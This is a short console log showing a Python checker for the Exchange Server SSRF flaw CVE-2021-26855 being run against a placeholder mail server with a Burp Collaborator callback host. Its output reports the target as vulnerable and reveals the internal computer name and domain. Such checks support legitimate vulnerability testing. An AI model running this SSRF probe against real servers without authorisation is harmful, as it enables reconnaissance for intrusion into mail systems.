python3 CVE-2021-26855.py -u https://mail.example.com -c example.burpcollaborator.net
# Checker for CVE-2021-26855: Exchange Server SSRF Vulnerability
# Coded by Abdullah AlZahrani https://Github.com/0xAbdullah
[*] You set target to https://mail.example.com
[#] This site is vulnerable to CVE-2021-26855 Check your collabrator client.
[-] Get some info about your target...
[#] Computer name: EXC-EXAMPLE
[#] Domain: EXC-EXAMPLE.EXAMPLE.local